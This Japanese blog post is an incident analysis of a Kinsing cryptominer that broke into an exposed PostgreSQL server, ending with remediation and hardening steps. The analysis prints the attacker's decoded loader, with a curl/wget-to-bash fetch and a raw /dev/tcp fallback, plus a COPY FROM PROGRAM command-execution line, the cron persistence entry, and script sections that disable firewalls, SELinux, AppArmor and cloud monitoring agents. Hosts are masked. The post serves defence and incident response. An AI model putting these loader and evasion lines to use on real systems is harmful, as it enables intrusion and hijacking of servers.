文章原文:https://owo.cab/217 ,同期発表 xLog
異常発見#
11 月 8 日午後、ある仲間から特定のサービスに異常があると知らせを受け、バックエンドプログラムのエラーが PostgreSQL のクエリに関連していることが判明しました。CDN を使用し、HTTP サービスの監視アラートのみを設定していたため、最初の段階で異常アラートを受け取ることができませんでした。
SSH でサーバーに接続し、htopコマンドを使用して実行中のすべてのプロセスを確認したところ、/tmp/kdevtmpfsiプロセスが高いリソースを占有しており、実行ユーザーはpostgresでした。
疑わしいプロセスを終了しようとしたところ、1 分以内に再起動することが判明し、定期的なタスクが設定されているか、デーモンプログラムが存在するのではないかと推測しました。
クラウドコンピューティングプラットフォームでリソース監視を確認したところ、このウイルスは UTC 11-7 16:15(北京時間 11-8 0:15)頃に実行を開始していました。
このウイルスがリソースを過剰に占有したため、サーバーのパフォーマンスが低下し、/tmpディレクトリに存在していたため、一時的にサーバーを再起動しました。
サーバーを再起動した後、PostgreSQL データベースに接続すると、すべてのデータが削除されており、侵入者がreadme_to_recoverという名前のデータベースを作成していました。その内容は以下の通りです。
明らかに、サーバーはランサムウェアの攻撃を受け、侵入者は PostgreSQL データベースに対して侵入行為を行い、サーバーのリソースを利用してマイニングを行い、サーバーの遅延とサービスのクラッシュを引き起こしました。
侵入者のウェブサイトは
archive.orgにアーカイブされており、リンクはhttps://web.archive.org/web/20251108155042/https://2info.win/psg/です。アクセスには注意してください。
サーバーが作成されてから侵入されるまでわずか 8 時間でしたが、幸いにもまだ展開段階であり、重要なデータはありませんでした(驚き)。
反省と分析#
このセクションに記載されているすべてのコマンドとスクリプトは実行しないでください。一部のデータはマスキングされています。
事故サーバーの状況を以下に示します:
- Ubuntu 24.04 LTS、Oracle Cloud 上で実行
- SSH キーのみのログインを許可
- すべてのポートが開放
- 宝塔パネルがインストールされ、PostgreSQL は宝塔でインストール
- PostgreSQL はすべてのアドレスからのパスワード接続を許可し、PG のログイン設定ログが未設定
この事故の引き金が何であったかは明らかです(展開段階だったため、あまり注意を払っていませんでした。反省しています)。
プロセス#
ウイルスのバイナリファイルは再起動後に一時的に削除されており、ウイルスの侵入と動作方法を明らかにするために、サーバーに対して何の操作や強化を行わず、元の状態で運用し、ウイルスが再び現れるのを待ちました。
予想通り、11 月 9 日の 0:14 頃、サーバーの CPU 使用率が再び 100% に達しました。
/tmpディレクトリを確認すると、以下の 2 つのバイナリファイルが存在しました:
2 つのプログラムの所有者はどちらもpostgresであり、kdevtmpfsiの権限は700、作成時間は UTC 16:14;kinsingの権限は777、作成時間は UTC 16:11 で、kdevtmpfsiよりもわずかに早く作成されていました。
同時に、ウイルスのサンプルをダウンロードしました:
ps -efコマンドを使用して 2 つのプロセスを検索しました:
プロセス情報から見ると、kdevtmpfsiの実行時間が増加しており(06:25:29から06:26:17に変化)、kinsingの実行時間はしばらくの間ほぼ変わらず(00:00:04)であり、両者の PPID は1でした。
Linux に少しでも慣れている仲間なら、kdevtmpfsiが CPU 時間を持続的に占有していることがわかるでしょう。これはマイニングのメインプログラムです。一方、kinsingは CPU 時間をあまり占有せず、kdevtmpfsiのデーモンプログラムです。同時に、親プロセス ID が1であることは、両者の元の親プロセスがすでに終了し、孤児プロセスになり、systemdプロセスが引き継いでいることを示しています。
しかし、systemctlは無駄ではなく、直接sudo systemctl status <pid>を使用して起動チェーンを確認しました:
なぜpostgresプロセスと一緒に起動したのか、もう一度確認します。
sudo crontab -u postgres -lコマンドを使用してpostgresユーザーの定期タスクを確認しました:
この定期タスクは毎分実行されるように設定されており、wgetツールを使用してサイレントモード(-q)で標準出力にダウンロードし(-O -)、パイプ(|)を介してshに直接実行させ、スクリプトの実行出力とシステムメールを捨てる(> /dev/null 2>&1)ことで、実行情報を隠蔽しています。
syslogで関連プロセスの呼び出し記録を探しましたが、定期タスクに関連する記録しか見つかりませんでした。
しかし、私がその URL にアクセスしようとしたときに 502 エラーが発生し、一時的に諦めざるを得ませんでした。
侵入方法#
sudo last postgresコマンドを使用してpostgresユーザーのログイン状況を確認したところ、出力が空であり、postgresシステムユーザーの弱いパスワードを使用して侵入されたわけではないことがわかりました。同時に、postgresユーザーで実行されているサービスは PostgreSQL だけです。
可能性は 1 つだけです。
/www/server/pgsql/logsディレクトリから PostgreSQL の実行ログを見つけ、ログの中に異常を発見しました。
この不完全なログは、サーバーが侵入された過程を反映しており、侵入者の操作を 5 つのステップに分けることができます:
-
サービス探査
侵入者は自動ツールを設定し、特定の IP セグメントのサーバーポートに対して
nmapツールを使用してスキャンを行い、5432ポートが開いているサーバーを探し、空の認証情報を使用して接続を試み、5432ポートで PostgreSQL が実行されていることを確認しました。 -
成功した侵入
侵入者は弱いパスワード / 無パスワードをブルートフォース攻撃で成功させた後、存在しないデータベース
bbbbbbbにアクセスしようとし、大量のSELECT VERSION();を実行してログインが完了したことを確認し、データベース情報を収集して脆弱性を探しました。 -
データベースの破壊
侵入者は最初にすべてのデータベースをリストアップし、次に
information_schema.tablesを通じてテーブルを取得しました。各テーブルについて、最初にinformation_schema.columnsから列数を取得し、次にSELECT * FROM ... LIMIT 50を使用してテーブルデータを読み込み、読み込んだ後にDROP TABLE IF EXISTS ... CASCADEを使用してテーブル情報を完全に削除し、最終的に元のデータベースを削除してランサム情報を書き込みました。 -
権限昇格
侵入者は
pgg_superadminsというスーパーユーザーを作成し、その後ALTER USER postgres WITH NOSUPERUSERコマンドを試みてpostgresユーザーのスーパーユーザー権限を剥奪しようとしましたが、postgresがデータベースの初期化ユーザーであるため、ブロックされました。 -
ウイルスの埋め込み
PostgreSQL の
COPY ... FROM PROGRAMコマンドは、システムコマンドの出力をテーブルに読み込むことを許可するため、侵入者はこれを使用してスクリプトを実行しました。DROP TABLE IF EXISTS bwyeLzCF; CREATE TABLE bwyeLzCF(cmd_output text); COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash'; SELECT * FROM bwyeLzCF; DROP TABLE IF EXISTS bwyeLzCF;侵入者は新たに作成した
pgg_superadminsを使用して一時テーブルbwyeLzCFを作成し、テーブルにはcmd_outputという 1 つのtext型のフィールドのみがあり、スクリプトの出力を保持するために使用されました。echo ... | base64 -d | bashは Base64 でエンコードされたスクリプトをデコードして即座に実行し、実行が成功した後にテーブルbwyeLzCFを削除して痕跡を消しました。
コアスクリプトについて、Base64 をデコードした結果は以下の内容となります:
#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- .../pg.sh|bash
else
__curl http://.../pg2.sh|bash
fi
このスクリプトは実行時に最初にpkillコマンドを使用して競合プログラムを終了し、その後スクリプトをダウンロードして実行します。侵入者はcurlやwgetがない環境でも実行できるように、__curl関数内で直接 TCP プロトコルを介して HTTP リクエストを送信しています。
スクリプト分析#
このスクリプトは長くリスクがあるため、ここでは一部のセクションのみを分析します。
-
侵入準備
# ファイアウォールを無効にする ufw disable iptables -F # rootユーザーのSSHキー属性を削除 chattr -iae /root/.ssh/ chattr -iae /root/.ssh/authorized_keys # 条件に合うプロセスを終了(ここでpostgresのoに注意) for filename in /proc/*; do ex=$(ls -latrh $filename 2> /dev/null|grep exe) if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then result=$(echo "$filename" | sed "s/\/proc\///") kill -9 $result echo found $filename $result fi if echo $ex |grep -q "/usr/local/bin/postgres"; then cw=$(ls -latrh $filename 2> /dev/null|grep cwd) if echo $cw |grep -q "/tmp"; then result=$(echo "$filename" | sed "s/\/proc\///") kill -9 $result echo foundp $filename $result fi fi done # 特定の監視を解除 if ps aux | grep -i '[a]liyun'; then curl http://update.aegis.aliyun.com/download/uninstall.sh | bash curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi # カーネルハードウェア監視NMI Watchdogを無効にする sudo sysctl kernel.nmi_watchdog=0 echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf # ネットワーク接続に基づいて条件に合うプロセスを終了(または他のマイニングプログラム) netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % pkill -f ... # 特徴プロセスに基づいて条件に合うプロセスを終了(または他のマイニングプログラム) ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 % pgrep -f ... | xargs -I % kill -9 % # 他のマイニングプログラムを削除 rm -rf ... # Docker内の他のマイニングプログラムが存在するコンテナとイメージを削除 docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f % # システムセキュリティメカニズムを無効にする setenforce 0 echo SELINUX=disabled >/etc/selinux/config service apparmor stop systemctl disable apparmorスクリプトは最初にファイアウォールを無効にし、その後、発見されるのを防ぐためにクラウド監視ソフトウェアをアンインストールし、競合プログラムを削除して
kdevtmpfsiとリソースを奪い合わないようにし、最終的に SELinux と AppArmor のセキュリティメカニズムを無効にします。 -
マイニングプログラムの読み込み
# 異なるアーキテクチャに応じて対応するプログラムをダウンロード BIN_MD5="b3039abf2ad5202f4a9363b418002351" BIN_DOWNLOAD_URL="http://.../kinsing" BIN_DOWNLOAD_URL2="http://.../kinsing" BIN_NAME="kinsing" arch=$(uname -i) if [ $arch = aarch64 ]; then BIN_MD5="da753ebcfe793614129fc11890acedbc" BIN_DOWNLOAD_URL="http://.../kinsing_aarch64" BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64" echo "arm executed" fiダウンロード前にアーキテクチャに応じたバイナリのダウンロード先を選択し、以下の優先順位に基づいてダウンロード先を決定しました(この部分のコードは省略されています):
/etc、このディレクトリは root 権限が必要/tmp/var/tmp- 一時ディレクトリ
mktemp -dを作成 /dev/shm
# MD5をチェックするための関数 checkExists() { CHECK_PATH=$1 MD5=$2 sum=$(md5sum $CHECK_PATH | awk '{ print $1 }') retval="" if [ "$MD5" = "$sum" ]; then echo >&2 "$CHECK_PATH is $MD5" retval="true" else echo >&2 "$CHECK_PATH is not $MD5, actual $sum" retval="false" fi echo "$retval" } # ダウンロード用の関数 download() { DOWNLOAD_PATH=$1 DOWNLOAD_URL=$2 if [ -L $DOWNLOAD_PATH ] then rm -rf $DOWNLOAD_PATH fi chmod 777 $DOWNLOAD_PATH $WGET $DOWNLOAD_PATH $DOWNLOAD_URL chmod +x $DOWNLOAD_PATH } # ファイルが存在するかチェックし、存在しない場合はダウンロード binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH exists and checked" else echo "$BIN_FULL_PATH not exists" rm -rf $BIN_FULL_PATH download $BIN_FULL_PATH $BIN_DOWNLOAD_URL binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH after download exists and checked" else echo "$BIN_FULL_PATH after download not exists" download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2 binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH after download2 exists and checked" else echo "$BIN_FULL_PATH after download2 not exists" fi fi fi -
実行と永続化
chmod 777 $BIN_FULL_PATH chmod +x $BIN_FULL_PATH SKL=pg $BIN_FULL_PATH crontab -l | sed '/#wget/d' | crontab - crontab -l | sed '/#curl/d' | crontab - crontab -l | grep -e "..." | grep -v grep if [ $? -eq 0 ]; then echo "cron good" else ( crontab -l 2>/dev/null echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1" ) | crontab - fiまず、ターゲットバイナリファイル(
$BIN_FULL_PATH)に最高の権限を与え、実行可能にし、その後、定期タスクに毎分実行されるコマンドを追加して永続化を実現します。これは前述のpostgresユーザーに読み込まれた定期タスクです。
バイナリ分析#
プログラムの特徴#
Radare2 を使用してバイナリファイルの原始情報を確認した結果は以下の通りです:
| 特徴 | kdevtmpfsi | kinsing |
|---|---|---|
| アーキテクチャ(arch) | ARM aarch64 | ARM aarch64 |
| バイナリタイプ(bintype) | ELF | ELF |
| サイズ(binsz) | ~2.4MB | ~6MB |
| 開発言語(lang) | C | Go |
| 静的リンク(static) | はい | はい |
| シンボルテーブル(stripped) | 剥離済み | 剥離済み |
| 保護メカニズム | NX 有効、RELRO なし、Canary なし | 同左 |
WinHex を使用してkdevtmpfsiファイルを確認すると、UPX の特徴が見つかります。
UPX で脱殻した後、再度確認すると、以下の内容が表示されました:
脱殻前とは異なり、以下の内容が表示されました:
compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial
kdevtmpfsi#
httpというキーワードを検索して迅速にモネロコインに関連する内容を特定しました:
[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4 5 .rodata ascii http
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19 20 .rodata ascii https proxy request
20114 0x003fa490 0x007fa490 12 13 .rodata ascii http request
23162 0x00414058 0x00814058 5 6 .rodata ascii https
25219 0x0042ed70 0x0082ed70 16 17 .rodata ascii parse_http_line1
25224 0x0042edf0 0x0082edf0 16 17 .rodata ascii %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105 .rodata ascii not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438 .rodata ascii GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121 .rodata ascii TLS generation counter wrapped! Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
次にmonero\|xmrを検索しました:
[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20 21 .rodata ascii cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20 21 .rodata ascii cryptonight-monerov8
18173 0x003e1547 0x007e1547 4 5 .rodata ascii lXMR
18174 0x003e1550 0x007e1550 6 7 .rodata ascii Monero
18187 0x003e1600 0x007e1600 27 28 .rodata ascii \e[43;1m\e[1;37m monero \e[0m
18310 0x003e27e0 0x007e27e0 415 416 .rodata ascii \n{\n "background": true,\n "donate-level": 0,\n "cpu": true,\n "colors": false,\n "opencl": false,\n "pools": [\n {\n "coin": "monero",\n "algo": null,\n "url": "xmr-eu1.nanopool.org",\n "user": "4...b",\n "pass": "mine",\n "tls": false,\n "keepalive": true,\n "nicehash": false\n }\n ]\n}\n
18315 0x003e2a08 0x007e2a08 5 6 .rodata ascii XMRig
18391 0x003e3030 0x007e3030 12 13 .rodata ascii XMRig 6.16.4
18396 0x003e3090 0x007e3090 33 34 .rodata ascii Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72 73 .rodata ascii --donate-over-proxy=N control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43 44 .rodata ascii XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34 35 .rodata ascii stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20 21 .rodata ascii donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19 20 .rodata ascii donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5 6 .rodata ascii xmrig
このプログラムはxmr-eu1.nanopool.orgのマイニングプールに接続し、収益アドレスは4...bです。
kinsing#
次に、kinsingという Go 言語プログラムがどのようにプロセスの監視を実現しているかを見てみましょう。
IDA でkdevtmpfsiに関連する文字列を検索しましたが、関連する参照は見つかりませんでした。
次に、コマンド実行に関連する関数を検索しました:
[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75 0x002a074c 0x002b074c 4 5 .rodata ascii Ppid
199 0x002a0a34 0x002b0a34 4 5 .rodata ascii kill
887 0x002a23d1 0x002b23d1 8 9 .rodata ascii \aos/exec
1086 0x002a2afa 0x002b2afa 8 9 .rodata ascii \aexecute
1608 0x002a3ef1 0x002b3ef1 10 11 .rodata ascii \t*exec.Cmd
2379 0x002a6201 0x002b6201 12 13 .rodata ascii \v*exec.Error
2873 0x002a7bf9 0x002b7bf9 13 14 .rodata ascii \fprocessFlags
3307 0x002a9902 0x002b9902 14 15 .rodata ascii Pid\njson:"pid"
3424 0x002aa07c 0x002ba07c 15 16 .rodata ascii *exec.ExitError
3523 0x002aa70f 0x002ba70f 15 16 .rodata ascii PpidWithContext
3675 0x002ab16c 0x002bb16c 16 17 .rodata ascii *process.Process
4588 0x002afaca 0x002bfaca 22 23 .rodata ascii *process.OpenFilesStat
4631 0x002afe42 0x002bfe42 22 23 .rodata ascii processCertsFromClient
4656 0x002b00b8 0x002c00b8 23 24 .rodata ascii *exec.prefixSuffixSaver
4680 0x002b0310 0x002c0310 23 24 .rodata ascii *process.MemoryInfoStat
4681 0x002b0329 0x002c0329 23 24 .rodata ascii *process.PageFaultsStat
4682 0x002b0342 0x002c0342 23 24 .rodata ascii *process.SignalInfoStat
4787 0x002b0d4e 0x002c0d4e 24 25 .rodata ascii processClientKeyExchange
4788 0x002b0d68 0x002c0d68 24 25 .rodata ascii processServerKeyExchange
4942 0x002b1d47 0x002c1d47 28 29 .rodata ascii \e*process.NumCtxSwitchesStat
5168 0x002b36f9 0x002c36f9 35 36 .rodata ascii "github.com/shirou/gopsutil/process
5233 0x002b4057 0x002c4057 22 23 .rodata ascii json:"pending_process"
5340 0x002b522a 0x002c522a 48 49 .rodata ascii /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...
その中でexec.Cmdは Go でコマンドを実行するための関数であり、github.com/shirou/gopsutilは Python のpsutilの Go 言語実装であり、システム情報を取得するために使用されるため、kinsingがシステムコマンドを実行する行動を持つ可能性があると判断しました。
うーん... 少し複雑になってしまいました。もっと簡単な方法がないか見てみましょう。
私はkinsingを~/ディレクトリに置き、ubuntuユーザーでstraceを使用してkinsingとその子プロセスを追跡しました:
strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing
新しいターミナルでkdevtmpfsiを終了し、kinsingが再びそれを起動するのを待ちました:
pkill -f kdevtmpfsi
kdevtmpfsiが再び起動したときにstraceの追跡を終了し、ログでkinsingが実行した関連コマンドを探しました:
$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"
66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67160 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66877 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 57
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>) = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>) = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>) = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
66883 read(8, "/tmp/kdevtmpfsi3355009150\0", 512) = 26
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++
この/tmp/kdevtmpfsi3355009150はどのように出現したのでしょうか。ログでhttp接続に関連する情報を探しました:
$ cat log.txt | grep -E "http"
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
この時点で、kinsingのロジックは明らかになりました。監視ロジックは 4 つの部分で構成されています:
- プロセスの監視:
readを使用してプロセス情報を読み取り、kdevtmpfsiが存在するかどうかを検出します。 - 既存のプロセスを終了:
sh -c "pkill -f kdevtmpfsi"コマンドを使用して、既存のkdevtmpfsiプロセスを終了しようとします。 - マイニングプログラムをダウンロード:
kdevtmpfsiが存在しない場合、前述の初期化スクリプトを実行してマイニングプログラムを/tmpディレクトリにダウンロードします。ここでkdevtmpfsiにランダムな数が付加されているのは、ディレクトリ内にすでに存在する読み書き不可の同名ファイルがあるためです。 - マイニングプログラムを起動:
sh -c "/tmp/kdevtmpfsiXXXX &"コマンドを使用して、マイニングプログラムをサイレントに起動します。
IDA に戻り、再度関連する検索を行ったところ、以前見逃していた/var/tmp/kdevtmpfsiという文字列がmain.minerRunningCheckで参照されていることがわかりました:
main.minerRunningCheck関数は自己ループを持っており、この関数がプロセス監視の主要なロジックであることがほぼ確定しました。
この関数を展開して分析したところ、自己ループの他にmain.getMinerPid、main.isMinerRunning、main.minRunなどの関数が呼び出されていることがわかりました:
main.minRunの中で、straceログに現れた内容が見つかりました:
また、kinsingには内蔵のダウンロード実行ツールがあることも発見しました:
すべてが明らかになりました。
解決策#
削除されたデータベースは復元できず、バックアップから復元する必要があります。
侵入プロセスの復習に基づき、以下の解決策をまとめました:
実行前にシステムスナップショットを作成してください。
-
疑わしい定期タスクを削除
二次感染を防ぐために定期タスクを一時的に無効にします:
sudo systemctl stop cron sudo systemctl stop crond sudo service cron stop sudo service crond stoppostgresユーザーの定期タスクを編集します:sudo crontab -u postgres -eその後、再度定期タスクを確認し、疑わしい項目が削除されていることを確認します:
sudo crontab -u postgres -l -
ウイルスファイルの読み取り、書き込み、実行権限を取り消す
sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing -
該当プロセスを終了
sudo pkill -9 -f kinsing sudo pkill -9 -f kdevtmpfsi -
ウイルスファイルを削除
ファイル名に
kinsingとkdevtmpfsiを含むファイルを全ディスクで検索し、削除します。sudo find / -name "*kdevtmpfsi*" -delete sudo find / -name "*kinsing*" -delete -
疑わしい PostgreSQL ユーザーを削除
管理者ユーザーでデータベースにログインします:
sudo psql -U postgres次に、以下の SQL 文を実行します:
# pgg_superadminsが存在するか確認 SELECT usename FROM pg_user WHERE usename='pgg_superadmins'; # 権限を取り消す REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM pgg_superadmins; REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM pgg_superadmins; REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM pgg_superadmins; # ユーザーを削除 REASSIGN OWNED BY pgg_superadmins TO postgres; DROP OWNED BY pgg_superadmins; DROP ROLE pgg_superadmins; # postgresにスーパーユーザー権限を付与 ALTER USER postgres WITH SUPERUSER; -
サーバーを再起動
sudo reboot -
属性保護を復元
sudo chattr +i /etc/passwd sudo chattr +i /etc/shadow sudo chattr +i /etc/group sudo chattr +i /etc/gshadow sudo chattr +i /etc/ssh/sshd_config sudo chattr +i /root/.ssh/authorized_keys -
PostgreSQL を強化
postgresql.confに以下の項目が存在するか確認します:listen_addresses = '*'pg_hba.confに以下の項目が存在するか確認します:host all all 0.0.0.0/0 md5 host all all ::0/0 md5 host all all 0.0.0.0/0 trust host all all ::0/0 trustもしあれば、直ちに修正または削除してください。例えば、Docker コンテナからの接続のみを許可するようにします:
host all all 172.17.0.0/16 md5 -
サーバーを強化
/tmpディレクトリを強化します:sudo mount -o remount,noexec,nosuid,nodev /tmpファイアウォールルールを設定します(実際のニーズに応じて修正してください):
# 確立された接続を許可 sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # ローカルループバックを許可 sudo iptables -A INPUT -i lo -j ACCEPT # SSHを許可 sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT # 保存して適用 sudo service iptables save sudo systemctl enable iptablesSELinux または AppArmor を復元します。
# SELinuxシステム(CentOS/RHEL)の場合 sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config # AppArmorシステム(Ubuntu/Debian)の場合 sudo systemctl enable apparmor sudo systemctl start apparmor sudo systemctl reload apparmor -
再起動し、再度観察して確認
sudo reboot
